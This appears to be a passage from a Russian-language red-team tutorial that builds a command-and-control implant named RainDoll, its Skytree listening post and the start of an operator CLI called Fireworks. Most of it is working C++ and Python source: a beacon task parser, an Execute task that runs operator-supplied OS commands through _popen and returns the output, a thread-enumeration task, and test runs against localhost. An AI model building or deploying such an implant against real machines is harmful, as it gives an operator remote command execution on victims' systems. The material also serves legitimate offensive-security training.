#include <boost/uuid/uuid_io.hpp>
#include <boost/property_tree/ptree.hpp>

#include <Windows.h>
#include <tlhelp32.h>


// Function to parse the tasks from the property tree returned by the listening post
// Execute each task according to the key specified (e.g. Got task_type of "ping"? Run the PingTask)
[[nodiscard]] Task parseTaskFrom(const boost::property_tree::ptree& taskTree,
    std::function<void(const Configuration&)> setter) {
    // Get the task type and identifier, declare our variables
    const auto taskType = taskTree.get_child("task_type").get_value<std::string>();
    const auto idString = taskTree.get_child("task_id").get_value<std::string>();
    std::stringstream idStringStream{ idString };
    boost::uuids::uuid id{};
    idStringStream >> id;

    // Conditionals to determine which task should be executed based on key provided
    // REMEMBER: Any new tasks must be added to the conditional check, along with arg values
    // ===========================================================================================
    if (taskType == PingTask::key) {
        return PingTask{
            id
        };
    }
    if (taskType == ConfigureTask::key) {
        return ConfigureTask{
            id,
            taskTree.get_child("dwell").get_value<double>(),
            taskTree.get_child("running").get_value<bool>(),
            std::move(setter)
        };
    }

    // ===========================================================================================

    // No conditionals matched, so an undefined task type must have been provided and we error out
    std::string errorMsg{ "Illegal task type encountered: " };
    errorMsg.append(taskType);
    throw std::logic_error{ errorMsg };
}

// Instantiate the implant configuration
Configuration::Configuration(const double meanDwell, const bool isRunning)
    : meanDwell(meanDwell), isRunning(isRunning) {}


// Tasks
// ===========================================================================================

// PingTask
// -------------------------------------------------------------------------------------------
PingTask::PingTask(const boost::uuids::uuid& id)
    : id{ id } {}

Result PingTask::run() const {
    const auto pingResult = "PONG!";
    return Result{ id, pingResult, true };
}


// ConfigureTask
// -------------------------------------------------------------------------------------------
ConfigureTask::ConfigureTask(const boost::uuids::uuid& id,
    double meanDwell,
    bool isRunning,
    std::function<void(const Configuration&)> setter)
    : id{ id },
    meanDwell{ meanDwell },
    isRunning{ isRunning },
    setter{ std::move(setter) } {}

Result ConfigureTask::run() const {
    // Call setter to set the implant configuration, mean dwell time and running status
    setter(Configuration{ meanDwell, isRunning });
    return Result{ id, "Configuration successful!", true };
}

// ===========================================================================================
Раздел, на котором мы сосредоточимся в первую очередь, — это блок, который занимается синтаксическим анализом задач и вызовом возврата соответствующих объектов задач:

C++:
// Function to parse the tasks from the property tree returned by the listening post
// Execute each task according to the key specified (e.g. Got task_type of "ping"? Run the PingTask)
[[nodiscard]] Task parseTaskFrom(const boost::property_tree::ptree& taskTree,
    std::function<void(const Configuration&)> setter) {
    // Get the task type and identifier, declare our variables
    const auto taskType = taskTree.get_child("task_type").get_value<std::string>();
    const auto idString = taskTree.get_child("task_id").get_value<std::string>();
    std::stringstream idStringStream{ idString };
    boost::uuids::uuid id{};
    idStringStream >> id;

    // Conditionals to determine which task should be executed based on key provided
    // REMEMBER: Any new tasks must be added to the conditional check, along with arg values
    // ===========================================================================================
    if (taskType == PingTask::key) {
        return PingTask{
            id
        };
    }
    if (taskType == ConfigureTask::key) {
        return ConfigureTask{
            id,
            taskTree.get_child("dwell").get_value<double>(),
            taskTree.get_child("running").get_value<bool>(),
            std::move(setter)
        };
    }

    // ===========================================================================================

    // No conditionals matched, so an undefined task type must have been provided and we error out
    std::string errorMsg{ "Illegal task type encountered: " };
    errorMsg.append(taskType);
    throw std::logic_error{ errorMsg };
}

Функция "parseTaskFrom" начинается с доступа к дереву задач, переданного пользователем, а затем установки соответствующего типа задачи и переменных идентификатора задачи. Напомним, что анализируемое дерево задач представляет собой сообщение JSON, полученное от поста прослушивания, и именно оно будет содержать запрошенные операторские задачи. Затем мы проверяем, какую задачу нам нужно выполнить, выполняя некоторую условную логику. Таким образом, если переменная для "taskType" имеет значение, равное ключу задачи Ping, мы возвращаем объект задачи Ping, и будет вызываться связанный метод "run", содержащий код задачи.

Нам нужно объявить эту условную логику для каждого типа задачи, которую мы добавляем. Хорошая новость заключается в том, что код будет одинаковым для каждой задачи. Единственное, что нужно иметь в виду, это то, что если мы хотим передать какие-либо параметры задаче, мы должны объявить эти параметры в коде задачи. Для задачи Ping нам не нужно передавать никаких параметров. Но для задачи Configure нам нужно будет передать переменную для времени ожидания, рабочего состояния и функцию установки. Наконец, у нас есть сообщение об ошибке, которое мы выдаем, если ничего не совпадает.

Следующий раздел, который мы рассмотрим, — это фактический код для каждой задачи, в настоящее время это просто Ping и Configure. Мы добавим дополнительные задачи после того, как выполним тестовый запуск текущего кода импланта, чтобы убедиться, что все работает должным образом:

C++:
// Tasks
// ===========================================================================================

// PingTask
// -------------------------------------------------------------------------------------------
PingTask::PingTask(const boost::uuids::uuid& id)
    : id{ id } {}

Result PingTask::run() const {
    const auto pingResult = "PONG!";
    return Result{ id, pingResult, true };
}

// ConfigureTask
// -------------------------------------------------------------------------------------------
// Instantiate the implant configuration
Configuration::Configuration(const double meanDwell, const bool isRunning)
    : meanDwell(meanDwell), isRunning(isRunning) {}

ConfigureTask::ConfigureTask(const boost::uuids::uuid& id,
    double meanDwell,
    bool isRunning,
    std::function<void(const Configuration&)> setter)
    : id{ id },
    meanDwell{ meanDwell },
    isRunning{ isRunning },
    setter{ std::move(setter) } {}

Result ConfigureTask::run() const {
    // Call setter to set the implant configuration, mean dwell time and running status
    setter(Configuration{ meanDwell, isRunning });
    return Result{ id, "Configuration successful!", true };
}

// ===========================================================================================

Задача Ping начинается с определения конструктора, который просто создает экземпляр переменной "id". Далее приведены действия, которые задача будет выполнять в рамках метода "запустить". В случае Ping все, что он собирается сделать, это установить переменную с именем "pingResult" с текстом "PONG!". Затем он вернет объект Result с идентификатором результата, содержимым переменной pingResult и статусом успеха "true". Итак, что мы должны увидеть, так это то, что оператор может запросить задачу Ping с поста прослушивания, и имплант должен ответить "PONG!" в содержимом результата.

Задача Configure немного сложнее, но она по-прежнему следует тому же общему шаблону, что и задача Ping. Во-первых, нам нужен объект Configuration, поэтому мы объявляем конструктор, который будет инстанцировать среднее время задержки и текущие переменные состояния. Затем у нас есть конструктор объекта задачи Configure, который создаст экземпляр среднего времени ожидания, рабочего состояния и функции установки. Метод Configure "run" вызовет установщика, чтобы определить среднее время задержки и рабочий статус для конфигурации имплантата. Затем он возвращает объект Result с идентификатором результата, строку "Конфигурация успешна!" в содержимом результата и статусе успеха "true".

Вот и все для нашего кода имплантата! Думаю, мы готовы выполнить тестовый запуск задач Ping и Configure, чтобы убедиться, что все работает правильно.

Тест-драйв импланта

Начните с создания проекта импланта для платформ x64 и убедитесь, что в нем нет ошибок. Если вам нужна копия проекта, вы можете найти ее в папке с названием "глава 3-2". Запустите пост прослушивания Skytree, перейдя в папку "Skytree" и запустив python listening_post.py. После запуска перейдите по адресу http://127.0.0.1:5000/tasks , и вы должны увидеть пустой массив. Откройте выходную папку сборки имплантата и запустите файл
"RainDoll.exe" из командной строки. Вы должны начать видеть некоторые сообщения, подобные следующим:

C++:
RainDoll is sending results to listening post...

Request body: {}

Listening post response content: []

Parsing tasks received...

Если вы видите это выше, вы готовы начать отправку некоторых задач на имплант. Сделайте запрос POST "AddTasks", который будет выглядеть следующим образом:

C++:
POST /tasks HTTP/1.1
Host: localhost:5000
Content-Type: application/json

[
    {
        "task_type":"ping"
    },
    {
        "task_type":"configure",
        "dwell":"10",
        "running":"true"
    }
]

Вы можете запустить следующую копию и вставить следующую команду Powershell, чтобы отправить вышеуказанный запрос:

C++:
$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
$headers.Add("Content-Type", "application/json")

$body = "[`n    {`n        `"task_type`":`"ping`"`n    },`n    {`n        `"task_type`":`"configure`",`n        `"dwell`":`"10`",`n        `"running`":`"true`"`n    }`n]"

$response = Invoke-RestMethod 'http://localhost:5000/tasks' -Method 'POST' -Headers $headers -Body $body
$response | ConvertTo-Json


Ответ поста прослушивания должен быть примерно таким:

C++:
[
    {
        "_id": {
            "$oid": "5f6d79f0534c41989c1e8db0"
        },
        "task_id": "66e66e4a-06d0-40d9-8e5c-50d6ac55b640",
        "task_type": "ping"
    },
    {
        "_id": {
            "$oid": "5f6d79f0534c41989c1e8db2"
        },
        "task_id": "b0ae0445-8168-48e2-ac84-2a1635a28877",
        "task_type": "configure",
        "dwell": "10",
        "running": "true"
    }
]

Теперь вы должны увидеть следующее в выводе импланта в командной строке:

C++:
================================================

RainDoll is sending results to listening post...

Request body: {}

Listening post response content: [{"_id": {"$oid": "5f6d79f0534c41989c1e8db0"}, "task_id": "66e66e4a-06d0-40d9-8e5c-50d6ac55b640", "task_type": "ping"}, {"_id": {"$oid": "5f6d79f0534c41989c1e8db2"}, "task_id": "b0ae0445-8168-48e2-ac84-2a1635a28877", "task_type": "configure", "dwell": "10", "running": "true"}]

Parsing tasks received...

================================================

RainDoll is sending results to listening post...

Request body: {"66e66e4a-06d0-40d9-8e5c-50d6ac55b640":{"contents":"PONG!","success":"true"},"b0ae0445-8168-48e2-ac84-2a1635a28877":{"contents":"Configuration successful!","success":"true"}}

Listening post response content: []

Parsing tasks received...

================================================

Перейдите к конечной точке "ListResults" (http://127.0.0.1:5000/results), и вы должны получить следующее:

C++:
[
    {
        "_id": {
            "$oid": "5f6d7ad7534c41989c1e8db9"
        },
        "result_id": "e6e56ba0-a677-4a22-88e5-81ece606ff9d",
        "8baee355-91a3-4a69-a708-6c491314a93e": {
            "contents": "Configuration successful!",
            "success": "true"
        },
        "9738db31-fffd-42ca-9f82-8e74125dd263": {
            "contents": "PONG!",
            "success": "true"
        }
    }
]

Вы заметите, что результаты включают в себя идентификатор задачи, содержание результата и состояние успеха "true" для обеих запрошенных нами задач. Таким образом, мы успешно завершили полный сквозной процесс запроса задачи с нашего поста прослушивания, запуская наши задачи на импланте и видя результаты!

Последнее, что мы рассмотрим в этой главе, — как добавить новые задачи в существующий код. Мы будем использовать эти знания для создания задачи выполнения команд ОС и задачи для получения списка потоков. Это дополнит наш базовый имплант и послужит прочной основой кода для продвижения вперед.

Добавление новых задач имплантации

Первое, что нам нужно сделать, когда мы хотим добавить новые задачи, это открыть tasks.h заголовочный файл. Мы добавим определения для нашей задачи Execute и List Threads (на основе образца документации Microsoft https://docs.microsoft.com/en-us/windows/win32/toolhelp/traversing-the-thread-list ), а также внесем некоторые незначительные изменения в вариант, чтобы он выглядел следующим образом:

C++:
#pragma once

#define _SILENCE_CXX17_C_HEADER_DEPRECATION_WARNING

#include "results.h"

#include <variant>
#include <string>
#include <string_view>

#include <boost/uuid/uuid.hpp>
#include <boost/property_tree/ptree.hpp>


// Define implant configuration
struct Configuration {
    Configuration(double meanDwell, bool isRunning);
    const double meanDwell;
    const bool isRunning;
};


// Tasks
// ===========================================================================================

// PingTask
// -------------------------------------------------------------------------------------------
struct PingTask {
    PingTask(const boost::uuids::uuid& id);
    constexpr static std::string_view key{ "ping" };
    [[nodiscard]] Result run() const;
    const boost::uuids::uuid id;
};


// ConfigureTask
// -------------------------------------------------------------------------------------------
struct ConfigureTask {
    ConfigureTask(const boost::uuids::uuid& id,
        double meanDwell,
        bool isRunning,
        std::function<void(const Configuration&)> setter);
    constexpr static std::string_view key{ "configure" };
    [[nodiscard]] Result run() const;
    const boost::uuids::uuid id;
private:
    std::function<void(const Configuration&)> setter;
    const double meanDwell;
    const bool isRunning;
};


// ExecuteTask
// -------------------------------------------------------------------------------------------
struct ExecuteTask {
    ExecuteTask(const boost::uuids::uuid& id, std::string command);
    constexpr static std::string_view key{ "execute" };
    [[nodiscard]] Result run() const;
    const boost::uuids::uuid id;

private:
    const std::string command;
};


// ListThreadsTask
// -------------------------------------------------------------------------------------------
struct ListThreadsTask {
    ListThreadsTask(const boost::uuids::uuid& id, std::string processId);
    constexpr static std::string_view key{ "list-threads" };
    [[nodiscard]] Result run() const;
    const boost::uuids::uuid id;
private:
    const std::string processId;
};

// ===========================================================================================

// REMEMBER: Any new tasks must be added here too!
using Task = std::variant<PingTask, ConfigureTask, ExecuteTask, ListThreadsTask>;

[[nodiscard]] Task parseTaskFrom(const boost::property_tree::ptree& taskTree,
    std::function<void(const Configuration&)> setter);

Давайте рассмотрим определения новых задач, которые мы только что добавили:

C++:
// ExecuteTask
// -------------------------------------------------------------------------------------------
struct ExecuteTask {
    ExecuteTask(const boost::uuids::uuid& id, std::string command);
    constexpr static std::string_view key{ "execute" };
    [[nodiscard]] Result run() const;
    const boost::uuids::uuid id;

private:
    const std::string command;
};


// ListThreadsTask
// -------------------------------------------------------------------------------------------
struct ListThreadsTask {
    ListThreadsTask(const boost::uuids::uuid& id, std::string processId);
    constexpr static std::string_view key{ "list-threads" };
    [[nodiscard]] Result run() const;
    const boost::uuids::uuid id;
private:
    const std::string processId;
};
Как видите, общая схема такова: мы пишем конструктор, а затем объявляем ключ для задачи. Это текстовое значение, которое мы будем отправлять из поста прослушивания, чтобы указать задачу, которую мы хотим запустить, и это то, что мы пишем в запросе "AddTask". Для задачи "Выполнение" ключ будет "выполнить", а для потоков списка — "список потоков". Затем мы указываем, что у нас есть метод "run"с атрибутом "[[nodiscard]]", потому что мы не ожидаем ситуации, когда мы ничего не делаем с возвращаемым значением. Наконец, у нас есть переменная ID и раздел для частных переменных, специфичных для отдельных задач. Для Execute это команда ОС, которую мы хотим запустить, а для List Threads — это идентификатор процесса, для которого мы хотим составить список потоков.

Последнее, что нам нужно изменить в заголовочном файле, это вариант:

// REMEMBER: Any new tasks must be added here too!
using Task = std::variant<PingTask, ConfigureTask, ExecuteTask, ListThreadsTask>;


Вы можете видеть, что мы добавили "ExecuteTask" и "ListThreadsTask" в этот вариант. Вы должны помнить, что любые новые задачи также должны быть включены сюда.

Теперь мы готовы перейти к tasks.cpp файлу, в который мы добавим фактический код для наших новых задач. Когда мы все закончим, это должно выглядеть так:

C++:
#ifdef _WIN32
#define WIN32_LEAN_AND_MEAN
#endif

#include "tasks.h"

#include <string>
#include <array>
#include <sstream>
#include <fstream>
#include <cstdlib>

#include <boost/uuid/uuid_io.hpp>
#include <boost/property_tree/ptree.hpp>

#include <Windows.h>
#include <tlhelp32.h>


// Function to parse the tasks from the property tree returned by the listening post
// Execute each task according to the key specified (e.g. Got task_type of "ping"? Run the PingTask)
[[nodiscard]] Task parseTaskFrom(const boost::property_tree::ptree& taskTree,
    std::function<void(const Configuration&)> setter) {
    // Get the task type and identifier, declare our variables
    const auto taskType = taskTree.get_child("task_type").get_value<std::string>();
    const auto idString = taskTree.get_child("task_id").get_value<std::string>();
    std::stringstream idStringStream{ idString };
    boost::uuids::uuid id{};
    idStringStream >> id;

    // Conditionals to determine which task should be executed based on key provided
    // REMEMBER: Any new tasks must be added to the conditional check, along with arg values
    // ===========================================================================================
    if (taskType == PingTask::key) {
        return PingTask{
            id
        };
    }
    if (taskType == ConfigureTask::key) {
        return ConfigureTask{
            id,
            taskTree.get_child("dwell").get_value<double>(),
            taskTree.get_child("running").get_value<bool>(),
            std::move(setter)
        };
    }
    if (taskType == ExecuteTask::key) {
        return ExecuteTask{
            id,
            taskTree.get_child("command").get_value<std::string>()
        };
    }
    if (taskType == ListThreadsTask::key) {
        return ListThreadsTask{
            id,
            taskTree.get_child("procid").get_value<std::string>()
        };
    }

    // ===========================================================================================

    // No conditionals matched, so an undefined task type must have been provided and we error out
    std::string errorMsg{ "Illegal task type encountered: " };
    errorMsg.append(taskType);
    throw std::logic_error{ errorMsg };
}

// Tasks
// ===========================================================================================

// PingTask
// -------------------------------------------------------------------------------------------
PingTask::PingTask(const boost::uuids::uuid& id)
    : id{ id } {}

Result PingTask::run() const {
    const auto pingResult = "PONG!";
    return Result{ id, pingResult, true };
}

// ConfigureTask
// -------------------------------------------------------------------------------------------
// Instantiate the implant configuration
Configuration::Configuration(const double meanDwell, const bool isRunning)
    : meanDwell(meanDwell), isRunning(isRunning) {}

ConfigureTask::ConfigureTask(const boost::uuids::uuid& id,
    double meanDwell,
    bool isRunning,
    std::function<void(const Configuration&)> setter)
    : id{ id },
    meanDwell{ meanDwell },
    isRunning{ isRunning },
    setter{ std::move(setter) } {}

Result ConfigureTask::run() const {
    // Call setter to set the implant configuration, mean dwell time and running status
    setter(Configuration{ meanDwell, isRunning });
    return Result{ id, "Configuration successful!", true };
}

// ExecuteTask
// -------------------------------------------------------------------------------------------
ExecuteTask::ExecuteTask(const boost::uuids::uuid& id, std::string command)
    : id{ id },
    command{ std::move(command) } {}

Result ExecuteTask::run() const {
    std::string result;
    try {
        std::array<char, 128> buffer{};
        std::unique_ptr<FILE, decltype(&_pclose)> pipe{
            _popen(command.c_str(), "r"),
            _pclose
        };
        if (!pipe)
            throw std::runtime_error("Failed to open pipe.");
        while (fgets(buffer.data(), buffer.size(), pipe.get()) != nullptr) {
            result += buffer.data();
        }
        return Result{ id, std::move(result), true };
    }
    catch (const std::exception& e) {
        return Result{ id, e.what(), false };
    }
}

// ListThreadsTask
// -------------------------------------------------------------------------------------------
ListThreadsTask::ListThreadsTask(const boost::uuids::uuid& id, std::string processId)
    : id{ id },
    processId{ processId } {}

Result ListThreadsTask::run() const {
    try {
        std::stringstream threadList;
        auto ownerProcessId{ 0 };

        // User wants to list threads in current process
        if (processId == "-") {
            ownerProcessId = GetCurrentProcessId();
        }
        // If the process ID is not blank, try to use it for listing the threads in the process
        else if (processId != "") {
            ownerProcessId = stoi(processId);
        }
        // Some invalid process ID was provided, throw an error
        else {
            return Result{ id, "Error! Failed to handle given process ID.", false };
        }

        HANDLE threadSnap = INVALID_HANDLE_VALUE;
        THREADENTRY32 te32;

        // Take a snapshot of all running threads
        threadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
        if (threadSnap == INVALID_HANDLE_VALUE)
            return Result{ id, "Error! Could not take a snapshot of all running threads.", false };

        // Fill in the size of the structure before using it.
        te32.dwSize = sizeof(THREADENTRY32);

        // Retrieve information about the first thread,
        // and exit if unsuccessful
        if (!Thread32First(threadSnap, &te32))
        {
            CloseHandle(threadSnap);     // Must clean up the snapshot object!
            return Result{ id, "Error! Could not retrieve information about first thread.", false };
        }

        // Now walk the thread list of the system,
        // and display information about each thread
        // associated with the specified process
        do
        {
            if (te32.th32OwnerProcessID == ownerProcessId)
            {
                // Add all thread IDs to a string stream
                threadList << "THREAD ID      = " << te32.th32ThreadID << "\n";
            }
        } while (Thread32Next(threadSnap, &te32));

        //  Don't forget to clean up the snapshot object.
        CloseHandle(threadSnap);
        // Return string stream of thread IDs
        return Result{ id, threadList.str(), true };
    }
    catch (const std::exception& e) {
        return Result{ id, e.what(), false };
    }
}

// ===========================================================================================

Начнем с кода нашей новой задачи Execute:

C++:
// ExecuteTask
// -------------------------------------------------------------------------------------------
ExecuteTask::ExecuteTask(const boost::uuids::uuid& id, std::string command)
    : id{ id },
    command{ std::move(command) } {}

Result ExecuteTask::run() const {
    std::string result;
    try {
        std::array<char, 128> buffer{};
        std::unique_ptr<FILE, decltype(&_pclose)> pipe{
            _popen(command.c_str(), "r"),
            _pclose
        };
        if (!pipe)
            throw std::runtime_error("Failed to open pipe.");
        while (fgets(buffer.data(), buffer.size(), pipe.get()) != nullptr) {
            result += buffer.data();
        }
        return Result{ id, std::move(result), true };
    }
    catch (const std::exception& e) {
        return Result{ id, e.what(), false };
    }
}

Мы используем тот же шаблон, что и в предыдущих задачах, и начинаем с определения конструктора Execute с указанной "командной" переменной, поскольку мы хотим передать этой задаче значение из командной строки. Для метода запуска мы объявляем переменную "результат", а затем пытаемся запустить команду. Мы делаем это, объявляя буфер, получая указатель на канал, в котором мы передаем командную строку в "_popen()", а затем вызывая "_pclose()". Если нам не удалось получить указатель на канал, то мы выдаем ошибку. В противном случае мы начинаем цикл while, который считывает результаты команды в наш буфер. Мы сохраняем буфер в переменной "результат" и передаем его в объект "Результат", который мы возвращаем вызывающей функции.

Давайте последуем тому же шаблону и добавим в нашу последнюю задачу List Threads (исходный код получен со страницы Microsoft Docs здесь https://docs.microsoft.com/en-us/windows/win32/toolhelp/traversing-the-thread-list ):

C++:
// ListThreadsTask
// -------------------------------------------------------------------------------------------
ListThreadsTask::ListThreadsTask(const boost::uuids::uuid& id, std::string processId)
    : id{ id },
    processId{ processId } {}

Result ListThreadsTask::run() const {
    try {
        std::stringstream threadList;
        auto ownerProcessId{ 0 };

        // User wants to list threads in current process
        if (processId == "-") {
            ownerProcessId = GetCurrentProcessId();
        }
        // If the process ID is not blank, try to use it for listing the threads in the process
        else if (processId != "") {
            ownerProcessId = stoi(processId);
        }
        // Some invalid process ID was provided, throw an error
        else {
            return Result{ id, "Error! Failed to handle given process ID.", false };
        }

        HANDLE threadSnap = INVALID_HANDLE_VALUE;
        THREADENTRY32 te32;

        // Take a snapshot of all running threads
        threadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
        if (threadSnap == INVALID_HANDLE_VALUE)
            return Result{ id, "Error! Could not take a snapshot of all running threads.", false };

        // Fill in the size of the structure before using it.
        te32.dwSize = sizeof(THREADENTRY32);

        // Retrieve information about the first thread,
        // and exit if unsuccessful
        if (!Thread32First(threadSnap, &te32))
        {
            CloseHandle(threadSnap);     // Must clean up the snapshot object!
            return Result{ id, "Error! Could not retrieve information about first thread.", false };
        }

        // Now walk the thread list of the system,
        // and display information about each thread
        // associated with the specified process
        do
        {
            if (te32.th32OwnerProcessID == ownerProcessId)
            {
                // Add all thread IDs to a string stream
                threadList << "THREAD ID      = " << te32.th32ThreadID << "\n";
            }
        } while (Thread32Next(threadSnap, &te32));

        //  Don't forget to clean up the snapshot object.
        CloseHandle(threadSnap);
        // Return string stream of thread IDs
        return Result{ id, threadList.str(), true };
    }
    catch (const std::exception& e) {
        return Result{ id, e.what(), false };
    }
}

Мы используем тот же самый код в конструкторе для потоков списка, что и в Execute, за исключением того, что мы передаем переменную идентификатора процесса вместо командной переменной. В методе "run" для List Threads у нас есть переменная для хранения нашего списка потоков, и мы говорим, что если "-" получено в качестве идентификатора процесса, то мы должны вернуть потоки в процессе, в котором работает имплантат с Функция "GetCurrentProcessId". В противном случае мы сохраняем запрошенный идентификатор процесса в переменной. Затем мы делаем снимок всех запущенных потоков и просматриваем каждый поток в списке, чтобы найти те, у которых идентификатор процесса-владельца совпадает с предоставленным. Всякий раз, когда мы получаем совпадение, добавляем к списку строку в формате "THREAD ID =", за которой следует идентификатор потока и символ новой строки. Когда список тем закончился, цикл заканчивается, и мы закрываем дескриптор снимка. Наконец, мы возвращаем объект Result, который содержит идентификатор, список потоков, соответствующих идентификатору процесса, который мы дали имплантату, и статус успеха "истина".

Последний раздел, который мы добавляем для новых задач в файл, предназначен для условной проверки


C++:
// Conditionals to determine which task should be executed based on key provided
// REMEMBER: Any new tasks must be added to the conditional check, along with arg values
// ===========================================================================================
if (taskType == PingTask::key) {
    return PingTask{
        id
    };
}
if (taskType == ConfigureTask::key) {
    return ConfigureTask{
        id,
        taskTree.get_child("dwell").get_value<double>(),
        taskTree.get_child("running").get_value<bool>(),
        std::move(setter)
    };
}
if (taskType == ExecuteTask::key) {
    return ExecuteTask{
        id,
        taskTree.get_child("command").get_value<std::string>()
    };
}
if (taskType == ListThreadsTask::key) {
    return ListThreadsTask{
        id,
        taskTree.get_child("procid").get_value<std::string>()
    };
}
Вы увидите, что под ConfigureTask мы добавили условные проверки для ключа задачи Execute и ключа задачи List Threads. Мы передаем переменную командной строки как "command" для выполнения и переменную идентификатора процесса как "procid" для потоков списка.

Это весь код, который нам нужно добавить для новых задач. Если вы хотите интегрировать больше задач, вы можете следовать этому общему шаблону. Теперь пришло время попробовать эти недавно добавленные задачи!

Тест-драйв новых задач

Начните с создания проекта для платформ x64 и убедитесь, что нет ошибок компиляции. Весь код, который мы написали до сих пор, можно найти в папке с названием "глава 3-3". Затем убедитесь, что пост прослушивания Skytree запущен, а если нет, запустите его сейчас, перейдя в папку "Skytree" и запустив . Перейдите в выходную папку сборки и запустите файл из командной строки. При запущенном имплантате сделайте запрос POST "AddTasks" со следующим: python listening_post.pyRainDoll.exe

C++:
POST /tasks HTTP/1.1
Host: localhost:5000
Content-Type: application/json

[
    {
        "task_type":"list-threads",
        "procid":"-"
    },
    {
        "task_type":"execute",
        "command":"whoami"
    }
]

Вы можете запустить следующие строки PowerShell, чтобы сделать вышеуказанный запрос:

C++:
$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
$headers.Add("Content-Type", "application/json")

$body = "[`n    {`n        `"task_type`":`"list-threads`",`n        `"procid`":`"-`"`n    },`n    {`n        `"task_type`":`"execute`",`n        `"command`":`"whoami`"`n    }`n]"

$response = Invoke-RestMethod 'http://localhost:5000/tasks' -Method 'POST' -Headers $headers -Body $body
$response | ConvertTo-Json

После отправки запроса "AddTasks"» вы должны увидеть что-то похожее на следующее в окне командной строки RainDoll:

C++:
================================================

RainDoll is sending results to listening post...

Request body: {}

Listening post response content: [{"_id": {"$oid": "5f6d93f43b3a9c5331e5a671"}, "task_id": "a104a800-cfbd-4796-8699-a1a3bd07c9dc", "task_type": "list-threads", "procid": "-"}, {"_id": {"$oid": "5f6d93f43b3a9c5331e5a673"}, "task_id": "3fc58f58-553d-427f-854b-87448013f5d8", "task_type": "execute", "command": "whoami"}]

Parsing tasks received...

================================================

RainDoll is sending results to listening post...

Request body: {"3fc58f58-553d-427f-854b-87448013f5d8":{"contents":"laptop-test\\TestUser\n","success":"true"},"a104a800-cfbd-4796-8699-a1a3bd07c9dc":{"contents":"THREAD ID      = 63892\nTHREAD ID      = 63944\nTHREAD ID      = 63900\nTHREAD ID      = 63920\n","success":"true"}}

Listening post response content: []

Parsing tasks received...

================================================

Если посетить конечную точку "ListResults" (http://127.0.0.1:5000/results), вы должны увидеть следующее, если все прошло хорошо:

C++:
[
    {
        "_id": {
            "$oid": "5f6d7ad7534c41989c1e8db9"
        },
        "result_id": "e6e56ba0-a677-4a22-88e5-81ece606ff9d",
        "8baee355-91a3-4a69-a708-6c491314a93e": {
            "contents": "Configuration successful!",
            "success": "true"
        },
        "9738db31-fffd-42ca-9f82-8e74125dd263": {
            "contents": "PONG!",
            "success": "true"
        }
    },
    {
        "_id": {
            "$oid": "5f6d93f63b3a9c5331e5a675"
        },
        "result_id": "efa33331-7c60-4623-af8f-99f26b022109",
        "3fc58f58-553d-427f-854b-87448013f5d8": {
            "contents": "laptop-test\\TestUser\n",
            "success": "true"
        },
        "a104a800-cfbd-4796-8699-a1a3bd07c9dc": {
            "contents": "THREAD ID      = 63892\nTHREAD ID      = 63944\nTHREAD ID      = 63900\nTHREAD ID      = 63920\n",
            "success": "true"
        }
    }
]

Вы заметите добавление записи с результатами задачи выполнения команды и результатами задачи списка потоков. Если вы зашли так далеко, поздравляю! Это все, что нужно сделать для создания этого базового импланта и задач. Похлопайте себе!

Вывод

Это конец главы о нашем базовом импланте, мы прошли через многое и проработали основные концепции командно-контрольного агента-маяка. Мы узнали о том, как строится цикл маяка, как мы делаем запросы к посту прослушивания и как мы анализируем и выполняем задачи. Наконец, мы протестировали весь рабочий процесс оператора и прошли процесс расширения импланта новыми задачами. В следующей главе мы создадим клиент с интерфейсом командной строки, в котором мы сможем отправлять задачи и просматривать результаты, не выполняя каждый запрос вручную.
 
Глава 4: Клиент CLI оператора

Создание CLI-клиента для взаимодействия с постом прослушивания и имплантом.

1669327247257.png


Введение

В этой главе мы создадим наш CLI-клиент оператора под названием Fireworks. Клиент CLI позволит нам взаимодействовать с нашим постом прослушивания через REST API и послужит простым способом для операторов отправлять новые задачи/просматривать результаты в командной строке. Действия будут включать:

- list-tasks – Перечисляет задачи, которые выполняются для имплантата

- add-tasks --tasktype <тип_задачи> --options <ключ>=<значение>– Отправляйте задания на пост прослушивания

- list-results – Перечислите результаты, полученные от имплантата

- list-history – Список истории задач и связанных с ними результатов


Причина, по которой мы создаем интерфейс командной строки, а не веб-интерфейс, в основном связана с быстрым тестированием и экспериментированием. Я лично предпочел бы начать с интерфейса, который легко построить и протестировать, прежде чем я начну тратить время на создание веб-интерфейса, который может оказаться более сложным. Когда мы уверены, что наш C2 хорошо работает с CLI, и мы удовлетворены различными основными потоками пользователей, мы можем предпринять шаги по созданию веб-интерфейса с помощью чего-то вроде Vue.js или Bootstrap.


Хорошо, давайте начнем! Откройте папку с названием « chapter4-1 », и вы найдете в файле следующий код fireworks.py. Установите требования, запустив, pip install -r requirements.txtчтобы убедиться, что у вас установлены все необходимые компоненты. Мы начнем с просмотра каждого блока кода и попытаемся понять, как работает клиент CLI:

Python:
import click
import requests
import pprint
import json

# Configuration Settings
listening_post_addr = "http://127.0.0.1:5000"

# Helper functions
def api_get_request(endpoint):
    response_raw = requests.get(listening_post_addr + endpoint).text
    response_json = json.loads(response_raw)
    return response_json

# CLI commands and logic
@click.group()
def cli():
    pass

@click.command(name="list-tasks")
def list_tasks():
    """Lists the tasks that are being served to the implant."""
    api_endpoint = "/tasks"
    print("\nHere's the tasks:\n")
    pprint.pprint(api_get_request(api_endpoint))
    print()

@click.command(name="list-results")
def list_results():
    """List the results returned from the implant."""
    api_endpoint = "/results"
    print("\nHere's the results:\n")
    pprint.pprint(api_get_request(api_endpoint))
    print()

@click.command(name="list-history")
def list_history():
    """List the history of tasks and their associated results."""
    api_endpoint = "/history"
    print("\nHere's the tasks history:\n")
    pprint.pprint(api_get_request(api_endpoint))
    print()

# Add commands to CLI
cli.add_command(list_tasks)
cli.add_command(list_results)
cli.add_command(list_history)

if __name__ == '__main__':
    cli()

Шаблон

Во-первых, давайте уберем часть шаблона с помощью следующего блока:

Python:
# Configuration Settings
listening_post_addr = "http://127.0.0.1:5000"

# Helper functions
def api_get_request(endpoint):
    response_raw = requests.get(listening_post_addr + endpoint).text
    response_json = json.loads(response_raw)
    return response_json

# CLI commands and logic
@click.group()
def cli():
    pass

